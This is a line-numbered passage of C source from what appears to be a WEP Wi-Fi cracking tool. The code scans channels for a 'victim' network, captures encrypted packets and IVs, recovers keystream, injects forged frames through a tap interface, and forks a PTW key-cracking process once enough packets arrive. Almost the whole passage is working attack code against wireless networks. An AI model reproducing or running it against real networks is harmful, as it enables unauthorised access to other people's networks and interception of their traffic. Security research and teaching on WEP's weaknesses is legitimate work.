2139         if (crack_pid == -1)
2140                 err(1, "fork");
2141
2142         // child
2143         if (crack_pid == 0) {
2144                 if (!do_crack())
2145                         printf("\nCrack unsuccessful\n");
2146                 exit(1);
2147         } 
2148
2149         // parent
2150         printf("\n");
2151         time_print("Starting crack PID=%d\n", crack_pid);
2152         if (gettimeofday(&crack_start, NULL) == -1)
2153                 err(1, "gettimeofday");
2154
2155         
2156         wep_thresh += thresh_incr;
2157 }
2158
2159 void open_tap() {
2160         struct stat st;
2161         int s;
2162         struct ifreq ifr;
2163         unsigned int flags;
2164         
2165         tapfd = open(TAP_DEV, O_RDWR);
2166         if (tapfd == -1) {
2167                 printf("Can't open tap: %s\n", strerror(errno));
2168                 exit(1);
2169         }
2170         if(fstat(tapfd, &st) == -1) {
2171                 perror("fstat()");
2172                 exit(1);
2173         }
2174
2175         // feer
2176         strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2177
2178         s = socket(PF_INET, SOCK_DGRAM, 0);
2179         if (s == -1) {
2180                 perror("socket()");
2181                 exit(1);
2182         }
2183         
2184         // MTU
2185         memset(&ifr, 0, sizeof(ifr));
2186         strcpy(ifr.ifr_name, tapdev);
2187         ifr.ifr_mtu = 1500;
2188         if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2189                 perror("ioctl(SIOCSIFMTU)");
2190                 exit(1);
2191         }
2192
2193         // set iface up
2194         memset(&ifr, 0, sizeof(ifr));
2195         strcpy(ifr.ifr_name, tapdev);
2196         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2197                 perror("ioctl(SIOCGIFFLAGS)");
2198                 exit(1);
2199         }
2200
2201         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2202         flags |= IFF_UP;
2203         
2204         memset(&ifr, 0, sizeof(ifr));
2205         strcpy(ifr.ifr_name, tapdev);
2206         ifr.ifr_flags = flags & 0xffff;
2207         ifr.ifr_flagshigh = flags >> 16;
2208         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2209                 perror("ioctl(SIOCSIFFLAGS)");
2210                 exit(1);
2211         }
2212
2213         close(s);
2214         time_print("Opened tap device: %s\n", tapdev);
2215 }
2216
2217 void read_tap() {
2218         unsigned char buf[4096];
2219         struct ether_header* eh;
2220         struct ieee80211_frame* wh;
2221         int rd;
2222         unsigned char* ptr, *body;
2223         int dlen;
2224
2225         rd = read(tapfd, buf, sizeof(buf));
2226         if (rd == -1) {
2227                 perror("read()");
2228                 exit(1);
2229         }
2230         dlen = rd - sizeof(*eh);
2231
2232         assert(dlen > 0);
2233
2234         if (dlen+8 > prgainfo.len) {
2235                 printf("\n");
2236                 // XXX lame message...
2237                 time_print("Sorry... want to send %d but only got %d prga\n",
2238                            dlen, prgainfo.len);
2239                 return;    
2240
2241         }
2242
2243         if (taptx_len) {
2244                 printf("\n");
2245                 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2246                 // XXX could not read instead and get rid of it in select...
2247         }
2248
2249         assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2250
2251         eh = (struct ether_header*) buf;
2252
2253         wh = (struct ieee80211_frame*) taptx;
2254         memset(wh, 0, sizeof(*wh));
2255         fill_basic(wh);
2256
2257         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2258         wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
2259
2260         memcpy(wh->i_addr2, eh->ether_shost, 6);
2261         memcpy(wh->i_addr3, eh->ether_dhost, 6);
2262
2263         body = (unsigned char*) wh + sizeof(*wh);
2264         ptr = body;
2265         ptr += 4; // iv
2266
2267         do_llc(ptr, ntohs(eh->ether_type));
2268         ptr += 8;
2269
2270         memcpy(ptr, &buf[sizeof(*eh)], dlen);
2271
2272         wepify(body, 8+dlen); 
2273         taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2274
2275         assert (taptx_len < sizeof(taptx));
2276 }
2277
2278 int elapsedd(struct timeval *past, struct timeval *now)
2279 {
2280         int el;
2281  
2282         el = now->tv_sec - past->tv_sec;
2283         assert(el >= 0);
2284         if (el == 0) {
2285                 el = now->tv_usec - past->tv_usec;
2286         } else {
2287                 el = (el - 1)*1000*1000; 
2288                 el += 1000*1000-past->tv_usec;
2289                 el += now->tv_usec;
2290         }
2291         
2292         return el;
2293 }       
2294
2295 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2296 {             
2297 #define BIT(n)  (1<<(n))
2298         struct bpf_hdr *bpfh;
2299         struct ieee80211_radiotap_header *rth;
2300         uint32_t present;
2301         uint8_t rflags;
2302         void *ptr;
2303         static int nocrc = 0;
2304         
2305         assert(*totlen);
2306            
2307         /* bpf hdr */
2308         bpfh = (struct bpf_hdr*) (*data);
2309         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2310         *totlen -= bpfh->bh_hdrlen;
2311         
2312         /* check if more packets */
2313         if ((int)bpfh->bh_caplen < *totlen) {
2314                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2315                 int offset = BPF_WORDALIGN(tot);
2316                 
2317                 *data = (char*)bpfh + offset;
2318                 *totlen -= offset - tot; /* take into account align bytes */
2319         } else if ((int)bpfh->bh_caplen > *totlen)
2320                 abort();
2321
2322         *plen = bpfh->bh_caplen;
2323         *totlen -= bpfh->bh_caplen;
2324         assert(*totlen >= 0);
2325
2326         /* radiotap */
2327         rth = (struct ieee80211_radiotap_header*)
2328               ((char*)bpfh + bpfh->bh_hdrlen);
2329         /* XXX cache; drivers won't change this per-packet */
2330         /* check if FCS/CRC is included in packet */
2331         present = le32toh(rth->it_present);
2332         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2333                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2334                         rflags = ((const uint8_t *)rth)[8];
2335                 else    
2336                         rflags = ((const uint8_t *)rth)[0];
2337         } else  
2338                 rflags = 0;
2339         *plen -= rth->it_len;
2340         assert(*plen > 0);
2341
2342         /* 802.11 CRC */
2343         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2344                 *plen -= IEEE80211_CRC_LEN;
2345                 nocrc = 1;
2346         }
2347         
2348         ptr = (char*)rth + rth->it_len;
2349
2350         return ptr;
2351 #undef BIT
2352 }
2353
2354 static int read_packet(int fd, unsigned char *dst, int len)
2355 {
2356         static unsigned char buf[4096];
2357         static int totlen = 0;
2358         static unsigned char *next = buf;
2359         unsigned char *pkt;
2360         int plen;
2361         
2362         assert(len > 0);
2363
2364         /* need to read more */
2365         if (totlen == 0) {
2366                 totlen = read(fd, buf, sizeof(buf));
2367                 if (totlen == -1) {
2368                         totlen = 0;
2369                         return -1;
2370                 }
2371                 next = buf;
2372         }
2373         
2374         /* read 802.11 packet */
2375         pkt = get_80211(&next, &totlen, &plen);
2376         if (plen > len)
2377                 plen = len;
2378         assert(plen > 0);
2379         memcpy(dst, pkt, plen);
2380
2381         return plen;
2382 }
2383
2384 void own(int wifd) {
2385         unsigned char buf[4096];
2386         int rd;
2387         fd_set rfd;
2388         struct timeval tv;
2389         char *pbar = "/-\\|";
2390         char *pbarp = &pbar[0];
2391         struct timeval lasthop;
2392         struct timeval now;
2393         unsigned int last_wep_count = 0;
2394         struct timeval last_wcount;
2395         struct timeval last_status;
2396         int fd;
2397         int largest;
2398
2399         weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2400         if (weplog.fd == -1) {
2401                 struct pcap_file_header pfh;
2402
2403                 memset(&pfh, 0, sizeof(pfh));
2404                 pfh.magic           = TCPDUMP_MAGIC;
2405                 pfh.version_major   = PCAP_VERSION_MAJOR;
2406                 pfh.version_minor   = PCAP_VERSION_MINOR;
2407                 pfh.thiszone        = 0;
2408                 pfh.sigfigs         = 0;
2409                 pfh.snaplen         = 65535;
2410                 pfh.linktype        = LINKTYPE_IEEE802_11;
2411                 
2412                 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2413                                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2414                 if (weplog.fd != -1) {
2415                         if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2416                                 err(1, "write()");
2417                 }
2418         }
2419         else {
2420                 time_print("WARNING: Appending in %s\n", WEP_FILE);
2421         }
2422
2423         if (weplog.fd == -1) {
2424                 perror("open()");
2425                 exit(1);
2426         }
2427
2428         fd = open(PRGA_FILE, O_RDONLY);
2429         if (fd != -1) {
2430                 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2431                 rd = read(fd, buf, sizeof(buf));
2432                 if (rd == -1) {
2433                         perror("read()");
2434                         exit(1);
2435                 }
2436                 if (rd >= 8) {
2437                         set_prga(buf, NULL, &buf[3], rd - 3);
2438                 }
2439
2440                 close(fd);
2441         }
2442
2443         fd = open(DICT_PATH, O_RDONLY);
2444         if (fd == -1) {
2445                 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2446                 if (mkdir (DICT_PATH, 0755) == -1) {
2447                         perror("mkdir()");
2448                         exit(1);
2449                 }
2450         }
2451         else
2452                 close(fd);
2453
2454         open_tap();
2455         set_if_mac(mymac, tapdev);
2456         time_print("Set tap MAC to: %s\n", mac2str(mymac));
2457
2458         if (tapfd > wifd)
2459                 largest = tapfd;
2460         else
2461                 largest = wifd;
2462
2463         if (signal(SIGINT, &cleanup) == SIG_ERR) {
2464                 perror("signal()");
2465                 exit(1);
2466         }
2467         if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2468                 perror("signal()");
2469                 exit(1);
2470         }
2471
2472         time_print("Looking for a victim...\n");
2473         if (gettimeofday(&lasthop, NULL) == -1) {
2474                 perror("gettimeofday()");
2475                 exit(1);
2476         }
2477
2478         memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2479         memcpy(&last_status, &lasthop, sizeof(last_status));
2480
2481         while (1) {
2482                 if (gettimeofday(&now, NULL) == -1) {
2483                         perror("gettimeofday()");
2484                         exit(1);
2485                 }
2486
2487                 /* check for relay timeout */
2488                 if (fragstate.waiting_relay) {
2489                         int el;
2490
2491                         el = now.tv_sec - fragstate.last.tv_sec;
2492                         assert (el >= 0);
2493                         if (el == 0) {
2494                                 el = now.tv_usec - fragstate.last.tv_usec;
2495                         } else {
2496                                 el--;
2497
2498                                 el *= 1000*1000;
2499                                 el += 1000*1000 - fragstate.last.tv_usec;
2500                                 el += now.tv_usec;
2501
2502                                 if (el > (1500*1000)) {
2503 //                                      printf("\nLAMER timeout\n\n");
2504                                         free(fragstate.data);
2505                                         fragstate.data = 0;
2506                                 }
2507                         }
2508                 }
2509
2510                 /* check for arp timeout */
2511                 if (rtrmac == (unsigned char*) 1) {
2512                         int el;
2513
2514                         el = elapsedd(&arpsend, &now);
2515                         if (el >= (1500*1000)) {
2516                                 rtrmac = 0;
2517                         }
2518                 }
2519                 
2520                 // status bar
2521                 if ( (now.tv_sec > last_status.tv_sec ) ||
2522                      ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2523                         if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2524                                 check_key();
2525                         }
2526                         if (netip && prgainfo.len >= min_prga && 
2527                             rtrmac > (unsigned char*) 1) {
2528                                 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r", 
2529                                        weplog.packets, wep_thresh, 
2530                                        weplog.iv[0], weplog.iv[1], weplog.iv[2],
2531                                        weplog.rate);
2532                                 fflush(stdout);
2533                         }
2534                         else {
2535                                 if (state == FIND_VICTIM)
2536                                         time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2537                                 else if (decryptstate.cipher) {
2538                                         int pos = decryptstate.prgainfo.len - 1;
2539                                         unsigned char prga = decryptstate.prgainfo.prga[pos];
2540                                         assert(pos);
2541
2542                                         time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2543                                                    prga, decryptstate.cipher[pos] ^ prga);
2544                                 }
2545                                 else
2546                                         time_print("%c\r", *pbarp);
2547                                 fflush(stdout);
2548                         }
2549                         memcpy(&last_status, &now,sizeof(last_status)); 
2550                 }
2551
2552                 // check if we are cracking
2553                 if (crack_pid) {
2554                         if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2555                                 kill_crack();
2556                 }
2557
2558                 // check TX  / retransmit
2559                 if (txstate.waiting_ack) {
2560                         unsigned int elapsed = now.tv_sec -
2561                                                txstate.tsent.tv_sec;
2562                         elapsed *= 1000*1000;
2563                         elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2564
2565                         if (elapsed >= ack_timeout)
2566                                 send_frame(wifd, NULL, -1);
2567                 }
2568
2569                 // INPUT
2570                 // select
2571                 FD_ZERO(&rfd);
2572                 FD_SET(wifd, &rfd);
2573                 FD_SET(tapfd, &rfd);
2574                 tv.tv_sec = 0;
2575                 tv.tv_usec = 1000*10;
2576                 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2577                 if (rd == -1) {
2578                         perror("select()");
2579                         exit(1);
2580                 }
2581
2582                 // read
2583                 if (rd != 0) {
2584                         // wifi
2585                         if (FD_ISSET(wifd, &rfd)) {
2586                                 rd = read_packet(wifd, buf, sizeof(buf));
2587                                 if (rd == 0)
2588                                         return;
2589                                 if (rd == -1) {
2590                                         perror("read()");
2591                                         exit(1);
2592                                 }
2593
2594                                 pbarp++;
2595                                 if(!(*pbarp))
2596                                         pbarp = &pbar[0];
2597                                 // input
2598                                 anal(buf, rd, wifd);
2599                         }
2600
2601                         // tap
2602                         if (FD_ISSET(tapfd, &rfd)) {
2603                                 read_tap();
2604                         }
2605                 }
2606
2607                 // check state and what we do next.
2608                 if (state == FIND_VICTIM) {
2609                         if (now.tv_sec > lasthop.tv_sec ||
2610                             ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2611                                 int chan = chaninfo.chan;
2612                                 chan++;
2613
2614                                 if(chan > max_chan)
2615                                         chan = 1;
2616                                 
2617                                 set_chan(chan);
2618                                 memcpy(&lasthop, &now, sizeof(lasthop));
2619                         }    
2620                 } else {
2621                 // check if we need to write something...       
2622                         if (!txstate.waiting_ack)
2623                                 can_write(wifd);
2624
2625                         // roughly!
2626
2627 #ifdef MORE_ACCURATE                    
2628                         if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2629                                 unsigned int elapsed;
2630                                 int secs;
2631                                 int packetz = weplog.packets - last_wep_count;
2632                                 elapsed = 1000*1000;
2633
2634                                 elapsed -= last_wcount.tv_usec;
2635                                 
2636                                 assert(elapsed >= 0);
2637                                 elapsed += now.tv_usec;
2638
2639                                 secs = now.tv_sec - last_wcount.tv_sec;
2640                                 secs--;
2641                                 if (secs > 0)
2642                                         elapsed += (secs*1000*1000);
2643
2644                                 weplog.rate = (int)
2645                                 ((double)packetz/(elapsed/1000.0/1000.0));      
2646 #else
2647                         if ( now.tv_sec > last_wcount.tv_sec) {
2648                                 weplog.rate = weplog.packets - last_wep_count;
2649 #endif                          
2650                                 last_wep_count = weplog.packets;
2651                                 memcpy(&last_wcount, &now, sizeof(now));
2652
2653                                 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2654                                         try_crack();
2655                         }
2656                 }
2657         }
2658 }
2659
2660 void start(char *dev) {
2661         int fd;
2662
2663         setup_if(dev);
2664
2665         fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2666
2667         ptw = PTW_newattackstate();
2668         if (!ptw)
2669                 err(1, "PTW_newattackstate()");
2670
2671         own(fd);
2672
2673 #if 0
2674         {
2675                 int i;
2676                 struct timeval tv;
2677                 set_chan(11);
2678                 for (i = 0; i < 10; i++) {
2679                         gettimeofday(&tv, NULL);
2680
2681                         send_ack(tx);
2682 //                      usleep(500);
2683                         printf("%lu\n", tv.tv_usec);
2684                 }       
2685         }       
2686 #endif
2687
2688         close(fd);
2689 }
2690
2691 void usage(char* pname) {
2692         printf("Usage: %s <opts>\n", pname);
2693         printf("-h\t\tthis lame message\n");
2694         printf("-i\t\t<iface>\n");
2695         printf("-s\t\t<flood server ip>\n");
2696         printf("-m\t\t<my ip>\n");
2697         printf("-n\t\t<net ip>\n");
2698         printf("-r\t\t<rtr mac>\n");
2699         printf("-a\t\t<mymac>\n");
2700         printf("-c\t\tdo not crack\n");
2701         printf("-p\t\t<min prga>\n");
2702         printf("-4\t\t64 bit key\n");
2703         printf("-v\t\tvictim mac\n");
2704         printf("-t\t\t<crack thresh>\n");
2705         printf("-f\t\t<max chan>\n");
2706         exit(0);
2707 }
2708
2709 void str2mac(unsigned char* dst, unsigned char* mac) {
2710         unsigned int macf[6];
2711         int i;
2712
2713         if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2714                    &macf[0], &macf[1], &macf[2],
2715                    &macf[3], &macf[4], &macf[5]) != 6) {
2716
2717                    printf("can't parse mac %s\n", mac);
2718                    exit(1);
2719         }     
2720
2721         for (i = 0; i < 6; i++)
2722                 *dst++ = (unsigned char) macf[i];
2723 }
2724
2725 int main(int argc, char *argv[]) {
2726         unsigned char* dev = "ath0";
2727         unsigned char rtr[6];
2728         unsigned char vic[6];
2729
2730         int ch;
2731
2732         if (gettimeofday(&real_start, NULL) == -1) {
2733                 perror("gettimeofday()");
2734                 exit(1);
2735         }
2736
2737         chaninfo.s = -1;
2738         victim.ssid = 0;
2739         prgainfo.len = 0;
2740
2741         memset(&txstate, 0, sizeof(txstate));
2742         memset(&fragstate, 0, sizeof(fragstate));
2743         memset(&decryptstate, 0, sizeof(decryptstate));
2744         memset(&weplog, 0, sizeof(weplog));
2745
2746         state = FIND_VICTIM;
2747
2748         while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2749                 switch (ch) {
2750                         case 'a':
2751                                 str2mac(mymac, optarg);
2752                                 break;
2753
2754                         case 's':
2755                                 floodip = optarg;
2756                                 break;
2757
2758                         case 'i':
2759                                 dev = optarg;
2760                                 break;
2761
2762                         case 'm':
2763                                 strncpy(myip, optarg, sizeof(myip)-1);
2764                                 myip[sizeof(myip)-1] = 0;
2765                                 break;
2766
2767                         case 'n':
2768                                 netip = optarg;
2769                                 netip_arg = 1;
2770                                 break;
2771
2772                         case 'r':
2773                                 str2mac(rtr, optarg);
2774                                 rtrmac = rtr;
2775                                 break;
2776
2777                         case 'v':
2778                                 str2mac(vic, optarg);
2779                                 victim_mac = vic;
2780                                 break;
2781
2782                         case 'c':
2783                                 wep_thresh = -1;
2784                                 break;
2785
2786                         case 'p':
2787                                 min_prga = atoi(optarg);
2788                                 break;
2789
2790                         case 't':
2791                                 thresh_incr = wep_thresh = atoi(optarg);
2792                                 break;
2793
2794                         case 'f':
2795                                 max_chan = atoi(optarg);
2796                                 break;
2797
2798                         case '4':
2799                                 bits = 64;
2800                                 break;
2801                         
2802                         default:
2803                                 usage(argv[0]);
2804                                 break;
2805                 }
2806         }
2807
2808         start(dev);
2809         
2810         if(chaninfo.s != -1)
2811                 close(chaninfo.s);
2812         if(victim.ssid)
2813                 free(victim.ssid);
2814         exit(0);
2815 }